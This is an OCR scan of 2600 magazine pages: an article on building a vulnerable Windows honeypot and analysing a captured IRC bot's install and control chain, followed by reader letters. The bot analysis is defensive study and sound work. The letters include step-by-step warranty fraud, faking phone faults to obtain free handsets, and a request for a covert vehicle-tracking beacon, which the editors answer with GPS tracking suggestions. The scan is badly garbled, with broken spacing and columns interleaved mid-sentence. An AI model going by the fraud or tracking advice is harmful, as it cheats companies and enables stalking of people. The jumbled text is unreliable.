make your  bots better. If  you see me on l i ne, say get near ly the attention that G randma ' s  home 
h i . On to the a rt ic le .  computer wou l d .  Set a d i fferent desktop i mage, 

In a perfect wor ld, you wou l d  have a connec- and add a few spreadsheets on the desktop 
t ion to the i nternet that i s n ' t  through a carefu l ly l i st ing "accou nt i nformation" or rec i pes.  
supervised network, and most len ient com mer- Perhaps you a l so want to have a text fi l e  or 
c ia l  I SPs offer th i s  k i nd  of connect ion .  You are two with notes from fake company meeti ngs or 
pretty much out of l uck on m i l i ta ry bases and p ictures of the grandk ids .  The i deal  target for bot 
in most hote l s, but you never know! There are a herders is a lone ly, a lways-on,  corporate work-
number of arguments for us ing either a phys ica l  stat ion that i s  in  use by mu l t ip le  peop le .  Th i n k  
mach i n e  o r  a v i rtua l  host for your  honeypot. For of a pr int  server or the guest mach ine  at the end 
example, i t 's  poss ib le  for software to detect the of the h a l l way. Accountabi l ity on these types of 
use of v i rtu a l i zation env i ron ments l i ke VMware. mach i nes i s  a l most a lways at a m i n i mu m  and 
Some botnets may be programmed not to the i r  tubes to the i ntarweb are usua l l y  h uge, 
i nfect a host on a v i rtua l  mach i ne. Al so, cross- which is exact ly what the bot herder wants. If 
contam i nat ion to your  phys ica l  mach i ne cou l d  you don ' t  have a fat p i pe, make your  honeypot 
occur. However, us ing a v i rtual  mach ine  a l l ows look l i ke someth i n g  your grandparents use to 
you to restore your  honeypot to a pr ist ine  i nsta l l  send pictu res a n d  emai l to fr iends a n d  fam i l y. 
with a s imp le  c l ick of the mouse. Th i s  art i c le  Dust off those soc ia l  engi neer ing sk i l l s !  
i s  written to b e  i n dependent of t h e  choice you Next, u n p l ug the network cab le  to your 
make i n  th i s  regard. Whichever route you go, honeypot. Th i s  is the on ly  way to be com plete ly  
be prepared for the poss ib i l ity that a l l  the data certa i n  that you are not on the network. I nsta l l  
o n  the mach ine  hosti ng the honeypot a n d  on your Windows as with defau l t  sett i ngs, and  
any other mach ine  on the same network wi l l  write these setti ngs down i n  your notepad.  
get hosed by some retarded exp lo i t. Th i s  makes it easier to manage th i ngs: trust 

You wi l l  need a few th i ngs before you beg in .  me. Change your  Adm i n i strator password to 
Search on Google or s imp ly  use s i m i l a r  uti l i t ies "password ." I nsta l l  any dr ivers that you need 
with which you are more fam i l i ar. F i rst, Wi n 2 k  t o  operate your  hardware. I nsta l l  Wi reshark, 
or Wi nXp, Service Pack one. We ' re ta l k i ng v i rg in  Process Explorer, Port Explorer, and U l traVNC 
Microsoft software here .  Your goa l i s  max i m u m  Server. Change t h e  password for U l traVNC 
vu l nerab i l i t ies .  Second, a packet sn i ffer you are Server to "password ." If you are ru n n i ng a server 
fam i l i ar  with . Most sane peopl e  use Wi reshark, vers ion of the as, change your  passwords for 
but there are many others out there.  A good FTP and l i S  to "password" as wel l .  D i sab le  
project wou l d  be to  write your  own !  Th i rd, the Messenger Serv ice.  Th i s  i s  not req u i red, 
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but it reduces a nnoy ing popup boxes begg i ng were u p loaded to you r  honeypot, what those 
you to i nsta l l  ma lware. Reboot. Log in to you r  fi l es d id  to you r  honeypot, a n d  how t o  store 
honeypot and start Wi reshark.  I t ' s  a lways n i ce those fi l es so you can l ook at them l ater i n  a 
to have it update the wi ndow i n  rea l t i me, so ster i l e  envi ronment. Viewing which processes 
check that box . A l so start Process Explorer and a re con necti ng to strange ports by us ing Port 
Port Explorer. Now, p l ug you r  network cable i n .  Explorer and  ident ify ing those fi l es a re good 
If you have a hardware fi rewa l l  or router such p laces to start, but you m ight m i ss a few d l l  
a s  that b l ue L i n ksys box by you r  cable modem, or i n i  fi l es that go with the m a i n  executab le .  
you need to l og i n  to i t  and configu re a DMZ On a defa u l t  i nsta l l at ion of Wi ndows with a 
with the I P  address of you r  honeypot. Th i s  wi l l  relat ive ly  t iny n u mber of fi l es, the s imp lest 
te l l  you r  router to expose the honeypot to the way to find everyth i ng i nvolved i s  to search 
network, sans router protection .  you r  mach i n e  for every fi l e  on the hard d i sk .  

Perhaps th i rty seconds to  th i rty hou rs l ater, Go to Start-+Search-+A I I  fi l es and fo l ders-+" . ", 
you r  host wi l l  be i nfected. Some i nfections are and then sort by modif ication date by c l ick ing 
more obfuscated than others, but you can te l l  " Date Mod ified" twi ce to summon a l i st of 
that your honeypot has defi n i te ly  been i nfected l i ke ly  suspects. These i n struct ions wi l l  probab ly  
when it sta rts a lot of  outgo ing  connections generate a few l etters giving far more effic ient 
on port 1 35,  1 37, 1 39, or 445 . A l ot of i nfec- and c lever ways to do th i s  and l i st ing everyth i ng 
t ion vectors are on these ports, for obvious that ' s  wrong with th i s  way and why. I suggest 
reasons .  A l though you r  host is comprom i sed, it that the newbie  reader f ind and read a few of 
wi l l  probab ly  be i nfected with a s imp le  ma i ler  those l etters to i mprove upon th i s  method. It  
troj a n  or a worm i n stead of a bot.  E i ther way, probab ly  wou l d n ' t  h u rt the o ld  pro to take a 
you have ma lware to exa m i ne.  At th i s  poi nt, you look, as wel l .  
h ave a cou p le  of opt ions .  You can i m med i ate ly  Ensure that you have a c l ea n  med i u m  to 
d i sconnect you r honeypot from the network as store these l i tt l e  nasties ! I can ' t  i mpress upon 
you have what you need. You cou l d  a l so leave readers enough that you shou l d n ' t  be us ing  
you r  host ru n n i ng and captu re the traffic us ing  you r  roommate ' s  backup dr ive, you r  persona l  
Wi reshark .  Th i s  i s  recommended if  you want  to U S B  th u m b  dr ive, or a network share to store 
ensure that you wi l l  be infected by a bot and a l l  th i s  ma lware! You a re f l i rt ing  with d i saster 
to observe someone send i ng commands to by m i x i ng the two wor lds  of honeypot and 
bots . Bewa re, however, that if you leave you r  persona l  network. The best way t o  d o  t h i s  
honeypot connected t o  t h e  network for a n  wou l d  be t o  fi nd  a v i rg in  U S B  th u m b  dr ive or to 
exten ded period, you wi l l  l i ke ly  get flagged by start wr it ing them to CD. Store each i n stance of 
you r I SP  for a l l  that excessive traffi c .  If you are ma lware i n  i ts own d i rectory. 
hav ing  troub le  gett ing  you r  honeypot i nfected, I ' m  go i ng to show you how I observed and 
it certa i n l y  he lps to i nsta l l  progra ms l i ke Micro- d i ssected an example  bot that I took from my 
soft SQL Server 2 000, Excha nge Server 2 000, or i nfected honeypot. Th i s  ana lys i s  concerns j u st 
Out look Express. Use defa u l t  setti ngs and pass- one va r iety of bot, which I wi l l  ca l l  Tard Bot. 
words .  The goa l here i s  to i n c rease the number The i n sta nce ofTard Bot that I grabbed for th i s  
of  vu l nera b i l i t ies on you r  mach i ne. ana lys i s  was i n sta l l ed on a mac h i ne that was 

N ote that by us ing VNC, you r  honeypot wi l l  ru n n i ng V N C  with very defa u l t  logi n creden-
be i nfected pretty qu ick l y. H owever, it wi l i l i ke ly  t i a l s .  The  hacker who i nfected my honeypot 
be attacked by a rea l h u m a n  be ing i n stead of a used other bots to scan var ious I P  address 
bot. V N C  a l l ows a person to remote l y  operate ranges look i ng for computers ru n n i ng a VNC 
you r  computer as if they were s i tt i ng i n  front of server with wea k l ogi n credent i a l s  or an o lder, 
it. Therefore, you want to obfuscate the fact that exp lo i tab le  vers ion of the server. Accord i n g  
y o u  are ru n n i ng Wi reshark, Port Explorer, a n d  t o  m y  sn i ffer l ogs, h i s  bots fi rst scanned the 
programs l i ke that. If  the hacker spots any of honeypot on V N C ' s  TCP port 5900 about fou r-
these programs, it wi l l  send up h uge red flags. teen hours before he arr ived persona l l y. There 
He or she wi l l  l i ke ly  l eave you r  honeypot a l one was repeated sca n n i ng of the honeypot on the 
and poss i b l y  report your IP to h i s  or her friends VNC port, spaced about an  hour and a ha l f  
as a honeypot. Keep you r  programs m i n i - apart, perhaps t o  check u pt ime.  
m i zed, or, at the very least, keep them i n  the Though there i s  genera l ly a trend for hackers 
System Tray. Leave you r  honeypot a lone; you to do the i r  work dur i ng  the n i ght at the host 
don ' t  wa nt to keep screwing with the mouse locat ion, th i s  hack was done at 1 0 : 1 5am on a 
every five m i n utes, beca use th i s  wi l l  scare the Tuesday morn i ng local t ime.  Th i s  i s  perhaps not 
attacker away if he sees it .  the smartest move the attacker cou l d ' ve made, 

Whatever dec i s ion  you make about how cons ider ing that the honeypot was d i sgu i sed 
much ma lware to co l l ect, you need to preserve as a corporate workstat ion .  He logged i n  to 
as much of the i nfect ion as poss ib le .  Th i s  t h e  honeypot and opened In ternet Exp lorer, 
means that you need to identify wh ich fi l es and then navigated to a rooted webserver 
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with a . ro doma in ,  where the hacker stored 
one of h i s  botware executab les .  After the 
executab le was down loaded, he ran i t  v ia  
Start ...... Run .  That ' s  i t .  The hacker then l ogged 
off, not even botheri ng to remove h i s  work 
from the browser ' s  h i story l i st. The executab le  
was a dropper, a sma l l  and s imp le  app l i cat ion 
that down loaded the rest of his botware to 
c :  \ W i ndows \ Temp . Accord i ng to the sn i ffer 
logs, the m a i n  botware was downloaded from 
a d i fferent rooted webserver than the dropper. 

TardBot is actua l ly a set of barebones uti l i ­
t ies work ing  together i n stead of ju st one execut­
ab le .  You wi l l  find that th i s  i s  a very common 
practice, s i nce a l ot people ru n n i ng botnets 
genera l ly  l ack any rea l computer sk i l l s; they 
a re thus are i ncapab le  of writ i ng or too l azy 
to write the i r  own programs. Because of th i s, 
they wi l l  use prepackaged bot k i ts read i l y  ava i l ­
a b l e  i n  a variety o f  p laces. You wou l d  not be 
m i staken in ca l l i ng them scr ipt k idd ies, though, 
l i ke any com mun i ty, there are a number of very 
i nte l l igent and experienced hands doing bus i ­
ness  i n  th i s  fie ld .  

Tard Bot i s  packaged i n  an  executab le  
arc h ive approx i mate ly  2 .5  megabytes i n  s i ze. 
I ran th i s  arch ive severa l t i mes on a d i scon­
nected, van i l l a  Windows i nsta l l at ion to ana lyze 
how i t  embedded itself in the honeypot. Once 
downloaded, Tard Bot i s  executed by the 
dropper. I f  the honeypot was i nfected automati­
ca l l y by a Windows explo i t  i n stead of through 
VNC, there wou l d  be no v i s ib le  evidence that 
the mach i ne was compromised. The i nsta l la ­
t ion itself i s  a l most comp lete ly  transparent. 
To the average office worker or grandmother, 
the whole  process wou l d  go by so qu ick ly  
that  they probably wou l d n ' t  th i n k  twice about 
it .  Depend i ng on the pu rpose of the bot, the 
user may notice a s lowdown of the computer 
or the network. Th i n k  how many ti mes you ' ve 
heard someone mention that the i r  computer i s  
" ru n n i ng s low." Malware c a n  b e  a s ign i ficant 
cause of th i s  prob lem.  

The executab le  arch ive dropped severa l 
executab les, the i r  assoc iated i n i  and d l l  
fi l es, a n d  a batch fi le  i nto the same d i rec­
tory that i t  was down loaded to. Next, the 
arch ive ran the batch fi l e, wh ich I wi l l  ca l l  
pwn e d . bJ t .  I t  i s  the heart of the i nsta l l at ion 
procedure. I t  fi rst ran a sma l l  app l i cation 
that added regi stry keys to HKLM / S OFTWAR E /  

� M i c r o s o f t / W i n d o w s / C u r r e n t V c r s i o n !  

Run for a n  FTP server and for the m a i n  bot. I t  
then conducted a s i lent i nsta l l at ion of ServU,  an  
FTP server common l y  used by  bot herders. The 
i n i  fi l es assoc iated with i t  were custom-written 
with accounts and passwords wh ich the hacker 
wou l d  know. After the i nsta l l at ion completed, 
pwn e d . ba t  started the ma in  bot app l i cat ion,  
which itse l f  ran another app l i cation on startup, 

a "guard ian"  program that made sure the mai n 
bot program was ru n n i ng and wou l d  start it 
otherwise. The l ast th ing  pwned . ba t  did was to 
c lean up after itse l f  by deleti ng the dropper, the 
TardBot executab le  arch ive, the Serv-U i nsta l ­
lat ion fi l es, and itself. TardBot was now fu l l y  
fu nctiona l .  

The m a i n  bot app l i cation connected to 
severa l d i fferent I RC servers and jo i ned at 
l east one password-protected channe l  on each 
server, as determ i ned by the custom-written i n i  
fi les .  I t  i s  i m portant to note that a p l a i ntext fi l e  
w i th  server, username, and password i nforma­
t ion can have any extens ion,  even exe. I RC is 
by far the most common protocol used to l i n k  
i nd iv idua l  bots to the i r  masters a n d  to other 
bots. The great benefit (or drawback) to us i ng 
I RC i s  that the protoco l  requ i res messages to 
be broadcast to everyone in a channe l .  Much 
l i ke Ethernet, the i nd iv idua l  computer or bot 
determ i nes wh ich messages are i n tended for it 
and ignores a l l  others. I t  is therefore extremely 
easy to sn i ff traff ic going  to any other i nd iv idua l  
person or bot, even when us ing the "pr ivate" 
message command.  In th i s  way, i t  becomes 
poss ib le  to catch the many d i fferent commands 
used to control the bots, as wel l as any chat text 
which the hacker m ight conduct among friends 
in the bot channe ls .  Th i s  i s  an  extremely i nter­
est ing g l i mpse i nto the bot herder cu l ture. 

The i n sta nce of botware i n fect i ng the 
honeypot in th i s  case was not for sen d i ng 
ema i l  spam, and it d id  not noti ceab ly  d i m i n i sh  
performance. From the l ogs, i t  was apparent 
that TardBot was sca n n i ng, but that i t  was doing 
so at a th rott led pace so as to prevent detec­
t ion .  Dur i ng the approx i mate ly  four  days that 
TardBot was left ru n n i ng, the i n stance on the 
honeypot was used var ious ly for FTP storage, 
sca n n i ng and DDoS i ng I RC and web servers. 

Be aware that the i nfection you capture may 
be ent ire ly d i fferent in form, function, and level 
of soph i st i cation .  Some cutt ing-edge bots use 
encrypt ion schemes to h ide the traffic used 
to control them and are ent ire ly custom-b u i l t  
b y  experienced programmers. Most o f  these 
advanced hackers are mak ing money th rough 
the i r  bot nets, rather than to flood i ng websites 
or other I RC servers. D i ssect ing these bots i s  
an a l together more complex a n d  enterta i n i ng 
experience. 

That ' s  a l l .  I hope you ' ve managed to learn at 
l east someth i ng. I f  not, I hope you were at l east 
enterta i ned for a few m i n utes .  

Shouts t o  bee, shea and his crew, arik, the 
culprit, everybody from ER and MUM£, and thl' 
wet blanket from flavor co. Also, I'm adding the 
following resource for Americans, which is a 
compilation of different states ' computer laws: 
h t t p : / / www . n c s l . o r g / p r o g r a m s / l i s / C I P /  

-hac k l aw . h t m  
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Suggestions 

Dear 2600: 
Hey just say ing a wh i l e  ago I read a letter here 

say ing if you r  mouse is j i ttery that you're bei ng 
watched. Wel l , j ust to put my two cents out there, 
there is a program that lets you b lock your IP from 
everyone. It's ca l led Peer Guard ian .  If  you activat� i t, 
you r  mouse w i l l  stop j i ttering  and you're not bemg 
watched anymore. I t  a lso helps when p i rat ing stuff. 

Nsane HAcker 
It's so nice of the watchers to make it this easy 

to detect their presence. The piracy world must be 
breathing one huge sigh of relief. 

Dear 2600: 

t ime though . Keep i n  m i n d  the soc ia l  engi neer ing 
ski l l s  that  Thomps exp la i ned i n  h i s  a rt ic le .  The tricky 
part about th i s  is gett ing them to bel ieve there is a 
problem that can on ly  be sol ved by sending  a new 
phone and then making them bel i eve the only way 
you ' l l  rema i n  happy is with a better phone. Just be 
creative and have a p lan  for everyth i ng. 

Greg 
This is living proof that lying and being a royal 

pain in the ass is the true secret to success. If you 
could keep going at this rate, it wouldn't be long be­
fore you owned the company outright. This is a true 
American success story tha t  serves as an inspiration 
to us all. 

Inquiries 
After readi ng the artic le  "Gam ing AT&T Mobi l - Dear 2600: 

i ty" by The Thomps in the Spring 20�8 i ssue, � �ave I have a few questions and requests for adv ice 
someth ing to add that was not mentioned. Th i s  mfo from the phone phreaks, the net savvy, and the en-
comes from personal  experience as a customer. g ineers among us. Is there such th ing  as a prepa i d  
Wh i l e  Thomps h a d  a section o f  h i s  art ic le tit led cel l phone service that has G PS (or other tnangula-
"Free Phones" he on ly  ta l ked about gett ing d iscou nts t ion) features for rea l-t ime tracki ng?  Wou l d  us ing an  
(wh ich I m ight add was qu ite i ngen i ous), not  gett ing anonym i zer website wh i l e  track ing i t  over the net be 
a phone for free. I t  i s  poss ib le  to obta i n  phones from suffic ient to dust a tra i l  of the IP address of the "desk-
them for free. top" portion of the survei l lance? 

You don't even have to be el ig ib le for an  up- I 'm a l so seeking  advice on a project I envis ion 
grade or buy add it ional  accessories to do th is .  A l l  completing: an  economica l  way t o  modify a com-
you need is  a phone that i s  sti l l  u nder warranty with mon GMRS or FRS rad io to function with a control 
AT&T. They give you a one year warranty when you u n it that wou l d  transmit  a s igna l  with a 1 kHz tone 
buy a phone from them. A lot of people don't even at, for example, ten second i nterva l s  wh i l e  a veh ic le  
rea l ize they have th i s  warranty. So let's say you own is  stopped, and at three second in terva l s  once move-
an HTC 852 5 .  You want the li l t, don't you . . . .  I t  has ment of the veh ic le  i s  detected. A combination of 
G PS, you know you want it .  What you do is  ca l l  i n  a p iezoelectric switch on a m icroprocessor which 
and te l l  them you have a problem with you r  phone. wou l d  control the rad io comes to my m i nd .  I have 
Make a problem up; i t  has to be someth ing  u n re- p lenty of experience at troub leshooti ng, repai ri ng, 
l ated to the battery and can't seem l i ke i t  wou l d  be and b u i l d i ng electron ics contraptions but next to 
considered abuse or other damage that wou l d  void  none engi neering  them _ as i s  the  nature of  th i s  proj -
you r  warranty. For i nstance, tel l  them the reception ect. The prices of ones I 've shopped for commerc i a l l y  
seems t o  b e  degraded from when you fi rst purchased have been somewhere between absurd and astro-
the phone, or maybe the phone freezes a l l  the t ime nomica l .  And a huge percentage of that i nvestment 
or buttons i nterm ittent ly work. They w i l l  gladly try to goes i nto a river or gets beat with a s ledgehammer if 
solve the problem for you, but of cou rse you w i l l  tel l  the transmitter gets d iscovered. I ' m  a l so consider ing 
them none of  the sol utions worked. They wi l l  end chang ing the radio's crysta l so as to avoid the s ignal  
up s h i pp ing you another phone. After you get the gett ing "wal ked over" by anyone transm i tti ng near-
phone, ca l l  them up aga i n .  Tel l  them this one has the by on the same frequency, in tercepted by curious 
same problem, or another prob lem of your  choice. sca n n i ng enthus iasts, etc . As of now, my RF scan-
You want them to send you another phone. ner wou l d  be used as the receiver, but eventua l ly  I 

You w i l l  do th is  a tota l of three t imes, then on p lan  to progress to a receiver with an analog meter 
your fina l  ca l l  you w i l l  tel l them that you have had movement and h igh ly sensit ive ga i n  contro l .  Perhaps 
enough, rep lac ing these 8525s  isn't gett ing anywhere the th i rd stage of th i s  progression w i l l  be to b u i l d  
- you wa nt a d i fferent phone. The next c losest phone my own triangu lation receiver. Anyway, even in i ts 
is the li lt, so that is what you can get out of them. I most bas ic  form, th is  "bu mper beacon" w i l l  g ive me 
have done th is  twice, worked perfectly both ti mes. the abi l i ty to more quick ly find, then narrow down 
The only drawback with th is method is  that you can the location of the parked target veh ic le  (provided of 
only get a s i m i lar  phone to what you have cu rrently. course that it is with i n  range of suspected locations).  
You cou l d  work your way up to the best phone over I w i l l  greatly apprec iate feedback and advice on how 
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I can design and accompl i sh  th is  l i tt le  project. 
Just in case you 're wondering  about my motives, 

I ' m  a profess ional  "people watcher" i .e. ,  a Private In ­
vestigator, prov id ing needed services for good people 
bei ng done wrong by others i n  matters of civi l  l aw. 
The PI message boards and ema i l  groups wou l d  go 
ape-dung if such questions as the ones above were 
posted there. P lus  the design questions wou l d  l i ke ly 
be too techn ical  for a l l  but a few of them. 

Carl 
The only prepaid service we're aware of with 

full-blown GPS is Boost Mobile 's iDEN product (they 
market both iDEN and COMA products, and only 
the iOEN product includes a precise GPS receiver). 
You could, in theory, write an application to log the 
location periodically and post it to a website using 
the data connectivity package. 

Sprint also sells something called Sprint Family 
Locator. See https:llsfl.sprintpcs. comlfinder-sprint­
-familylsignln.htm for details. This will provide the 
approximate location of your target. However, it is 
not available as a prepaid service. 

Dear 2600: 
Are you guys sti l l  accepti ng photos of payphones 

for your website? There are many in terest ing pay­
phones in Taiwan now, but they have evolved i nto 
someth ing  more l i ke k iosk computers with touch 
screens. I can send some photos to you if  you wou l d  
l i ke t o  see them. 

Tommy 
By all means send them in. The address is 

payphones@2600.com. Be sure to use the highest 
quality settings on your camera as low settings don't 
print well in the magazine. 

Dear 2600: 
Fi rst off, I rea l l y  apprec iate the hard work you 

guys put i nto producing such a great publ ication. 
It 's changed my perception of technology greatl y. A 
friend and I have been i nsp i red to start a 2 600 meet­
ing  in our local a rea (Belfast, Northern I re land) and 
we were wondering  if  there i s  any part icu lar  format 
that these meeti ngs need to have? 

redtape 
It's all pretty straightforward. The meetings 

need to be open to all in a public area with no 
admission charge, age restriction, or anything 
like that. There's a more detailed set of guidelines 
on our website at www. 2600.comlmeetings. lt.s 
also important  to keep us updated by emailing 
meetings@2600.com so we know you 're continuing 
to run the meetings. Good luck! 

Dear 2600: 
Is there any part icu lar  reason you repl ied to me 

with a gigantic ema i l  of stuff I d idn 't need to know? 
Do you get many questions to meeti ngs@2 600.com? 
Because as I must contact you about the meet ings in 
Tu l sa, I ' m  not exactly served by this .  

D id  I do someth ing  wrong? 
Joseph 

You didn't do anything wrong but that's the way 
the system operates. Most people who email that ad­
dress are looking for information on the meetings so 
we have our robot automatically send a full list back 
plus the set of meeting guidelines. Some people enter 

into a dialogue with what  they assume is a really fast 
typing human. But you only get tha t  big mail the first 
time you send email to the address (and after a cer­
tain number of weeks beyond tha t) .  The alternative 
to this system would be to have yet another email 
address for those people reporting on meetings. That  
would lead to  a lot more work and traffic than simply 
deleting that  one piece of mail we send. 

Dear 2600: 
I am try ing  to expand the l i n ks page on my web­

s ite www.bayareak icks.com. and I wou l d  l i ke to add 
you r  website (www.2 600.com/phones) to that l i st. 
Some websites do not l i ke when others l i n k  to them, 
so I wou l d  l i ke to receive perm ission from you fi rst. 

The thousands of da i l y  v iewers that read my 
websi te are In ternet savvy and are a lways looking for 
new websites to vis i t .  I figured you wou ldn 't m ind  if 
I l i n k  to you r  s i te s i nce i t  wou l d  give you s l ightly i n ­
creased traffic .  Does th i s  sound OK to  you ? Are you 
able to l i n k  to my websi te?  I l ook forward to your 
repl y. 

Mike 
We don 't do links ourselves but we certainly don't 

mind anyone linking to us however they please. And 
even if we did mind, we don't believe we would have 
any right to object. It's amazing tha t  so many people 
live by rules tha t  basically make no sense. 

Dear 2600: 
I write fol lowi ng fi nd i ng you r  s i te on the web af­

ter many years of bei ng very busy with an IT career 
and making stup id  m istakes such as gett ing i nvolved 
with re lationsh i ps.  I became aware of 2600 many 
years ago but never rea l l y  got i nto pract ical  th i ngs. I 
noticed that there is a meeting in G lasgow, Scotland. 
Can you give me any more information regard ing 
th is  or i ndeed if  i t  sti l l  happens. I look forward to 
your  response. 

Liam/M/37 
The only way to know if it's still happening is 

to go there and see. Even if nobody else shows up, 
there's nothing stopping you from breathing new life 
into it. But we appreciate being told if the meetings 
die out so we don't have to squish so many of them 
onto page 66. Lately it seems as if everyone is com­
plaining about the tiny type. 

Dear 2600: 
2600 is the best magazine ever, but the t iny type 

is k i l l i ng me as my eyes are gett ing worse and worse 
every year. Have you ever thought of hav i ng an ema i l  
vers ion of the magazine that people cou l d  subscribe 
to? I wou l d  love to get my 2600s as a PDF, DOC, or 
maybe j ust a p l a i n  o ld text fi le.  One th i ng i t  wou l d  
save i s  me hav ing t o  type i n  t h e  programs. I cou l d  
j ust copy and paste instead. I n  t h e  meanti me, keep 
up the great work and I ' l l  j ust buy a more powerful 
magn ify ing glass. 

SAR 
We now put all of the code up on our website 

so you don't have to retype any of it. Were always 
looking for new and innovative ways of doing things. 
The latest is our 900 page book of some of our best 
articles which is just hitting the shelves with much 
larger type. 
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Dear 2600: 
How can I use the serv ices of a hacker? 

etsjobs 
Whereas most religions require you to pray or do 

some sort of penance in order to obtain the goods 
and services you desire, with hackers you have but to 
ask and pay our nominal fee. Obtain any password, 
change any grade, even travel back in time when 
necessary! Your wish (plus the fee) is our command. 
Now go tell all your friends. 

Dear 2600: 
I wou l d  l i ke to get you r new book ca l led The Best 

of 2600: A Hacker Odyssey when you r book comes 
out in J u l y  2008. Where can I buy your new book? 
And what does your new book cover? Can you send 
me some pri ntout of the Table of Contents of your  
book ca l led The Best of 2600: A Hacker Odyssey? 
And what w i l l  you r new book cost? A lso, can we buy 
this book from you ? Wou l d  you p lease send me any 
info you have about your new book? I w i l l  be look­
ing forward to hear ing from you .  And to gett ing your  
new book. 

John 
We believe you 're referring to our new book. It's 

available everywhere, both online and in bookstores. 
It retails for $3 9. 99  and covers the three decades tha t  
2600 h a s  been around. We don't sell i t  ourselves a s  
i t 's  sold directly through the publisher (Wiley) . We 're 
real happy we could finally pull this off and get so 
much of the historical material we've published since 
1 984 out into the mainstream.  Let's hope it does well 

so we can do more fun projects like this. 

Dear 2600: 
U rgent!  I need a new identity for me and my 

daughter beca use we are victi ms of abuse i l l ega l ly. 
Send me i nformation please. 

Eva 
00 you really believe that emailing total strang­

ers is the best way to start a new life ? We're not the 
witness relocation people but even if we were, it's 
not the kind of thing you do casually. You can find a 
whole lot of tips on the net about how to hide and/ 
or protect your privacy. Advertising your problems to 
anyone who will listen is probably the first item on 
the list of things not to do. 

Dear 2600: 
I have this  stup id  "ShopAtHome SelectRebates" 

th i ngie in my toolbar that refuses to be deleted . How 
do I get rid of the program In Toto? I mean,  I went 
i nto the " Program F i l es" and deleted a l l  that I cou ld, 
but there were some thi ngs that refused to be de­
leted . What gives? 

z 
You need a decent malware/adware/general crap 

removal program that isn't worse than the stuff it's 
supposed to be getting rid of. We're not going to rec­
ommend one over another because it'll just start end­
less bickering that none of us will live to see the end 
of. Look at  the platform you have and find some pro­
grams that  will run in your environment, then look 
for user reviews of their performance before actually 
installing them. And in the future, be careful of what 
you download or open on your system as this is how 

Dear 2600: 
I found your journal  in a Borders, bought it 

qu ick ly, and was p leasantly surprised. I t's provided a 
usefu l resource to the d igita l  i mage research I do that 
I 'd prefer not to say anyth ing e lse about. I do have 
a question for you and your 2600 readers: Is  there 
a method for f inding and restor ing metadata that's 
been purposely  erased from d igital  i mages? Th is  in ­
formation cou l d  be qu ite, qu ite usefu l .  Keep up the 
good work. 

Haestar 
This sounds like material for a really informative 

article if someone out there has done the research. 

Dear 2600: 
I have put together an artic le  that I wou l d  l i ke to 

submit  to 2600 for you r  consideration.  Do you have 
an ed itor ia l  calendar and gu idel i nes ava i l able or can 
I just submit the artic le?  Can I i nc l ude exh i b its? Do 
you prefer a Word docu ment or PDF fi les?  P lease let 
me know. 

R 
just send us what  you 've got. We can read most 

anything but to be safe always send along a plain 
ASCII text file. The email address is articles@2600. 
com. 

Dear 2600: 
let me in . . .  so what do i have to do to get i n ?  i m  

trad ing code t o  t h i s  guy for n ice computers. usenet 
wou l d  n ice. it wou l d  be n ice. im go ing to have a 
m i n dset with n uemon ic  reach and a storage part i­
t ion of a 1 00 gb with terrar process. but i dont have 
any other 

Phobus 
No, you certainly don't. 

Dear 2600: 
Do you fol ks accept press releases? We recently 

annou nced a new software product that we th i n k  i s  
rea l ly t imely:  an easy to use dr ive m igration uti l i ty. 
Can we send you our press release or a copy of the 
software to review? 

Wou l d  much apprec iate a reply. 
Donna 

We accept all kinds of crap from people and we 
suspect a bunch of press releases would fit that  defi­
nition. But we 'd rather not have to wade through a 
pile of public relations nonsense in order to get to 
the words of our readers, which is what the email ad­
dress (/etters@2600. com) you contacted is set up for. 
Oh yes, and we also don't send out personal replies. 
But you knew that. 

Dear 2600: 
Best greets from Austr ia.  It's rea l l y  hard to get a 

copy of 2600 here, but congratu lations to your great 
magazi ne. 

A friend of m i ne and I have written an artic le  
about the basics of  the lockpick ing sport. The art ic le 
conta i ns an i ntroduction to the sport i n  genera l ,  a 
short explanation of the l i n k  between hacking and 
lockpick ing and the bas ic techn iques l i ke p ick ing and 
bumpi ng. I mpress ion i ng i s  not covered i n  the art ic le .  

Are you interested i n  th is  k i nd of art ic le?  Do you 
a l so s h i p  magazi nes to Austr ia?  Do you have a part­
ner here? 

such garb'!JJ.e gets there in the first place. Tom 
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We have many partners in crime in Austria, but so 
far no partners in magazine distribution. Your best bet 
is just to get a subscription and have it mailed to you 
directly from us. And of course we'd be interested in 
seeing your article. 

Dear 2600: 
Tel l  me how much one of you r  hackers wou l d  

charge me t o  delete my c r i m i n a l  record from the 
Texas pol i ce database. 

[Name Deleted] 
Well, we would start with erasing your latest 

crime, that  of soliciting a minor to commit another 
crime. (Your request was read by a small child here 
in the office.)  After you're all paid up on that, we will 
send out the bill for hiding your identity by not print­
ing your real name, which you sent us like the meat­
head you apparently are. After that's all sorted, we 
can assemble our team of hackers, who sit around 
the office waiting for such lucrative opportunities as 
this to come along, and figure out even more ways 
to shake you down. It's wha t  we do, after all. Just ask 
Fox News. 

Dear 2600: 
I have a lot of hack ing  re lated pics on my phone 

and I was wonder ing how I shou ld  get them to you in 
a usable format s i nce I do not have anyth i ng that w i l l  
hook u p  t o  m y  computer t o  get the p ictu res off o f  the 
phone any advice wou l d  be very he lpfu l .  

erik 
It seems odd that you have a picture phone with 

no means of sharing pictures. If you can use email 
on your phone, you could always email them to us. 
If that  doesn't work, you 'rE' just going to have to send 
us the phone. (And don 't forget the charger. ) 

Dear 2600: 
Here I am p l owing th rough a sha mefu l back log 

of one year's worth of 2600. Wh i l st ta k i ng a break, i t  
occu rred to me to i nvestigate how much I 've spent on 
2600 s i nce I sta rted purchas i ng at the newssta nd in  
1 99 5 .  I have a co l l ect ion of about  44 i ssues with a n  
approx imate average price o f  $ 5 . 6 5 .  I 've spent about 
$250 on 2600 over the yea rs. So, I 'm k ick ing  myself 
for not cons ider ing a l i fet i me subscr ipt ion sooner. 
Do you guys th i n k  you' l l  be ab le  to keep on truck ing 
at least a nother ten  years so  I cou l d  get more bang for 
my buck upon order ing  a l i fet i me subscr ipt ion?  

A l so, a re l i fet ime subscr ipt ions tra nsferab le  or  
does i t  abso l utely end with me?  Let's say, for exam­
p l e, one of my ch i ldren takes a l i k i ng  to your maga­
z i ne and I become a pcn n i lcss widower str icken with 
g laucoma. Can my c h i l d  then carry the mant le of 
2600 reader of the fa m i l y  on my $ 2 60?  

As ide :  does 2600 have a ga me p lan  i f  one or 
more of the cr it ical  staff i s  met with i n j u ry or  death 
that prevents them from work i ng on the magaz i ne? 
H ave you tapped a nyone to take over the rei ns i f  the 
I i fe of the maga z i n e  outl asts those of cr i t ica l  staff 
members? 

I apologize for my quest ions sp i ra l i ng towards 
the morb id .  I'm at that age where l i fe and death seem 
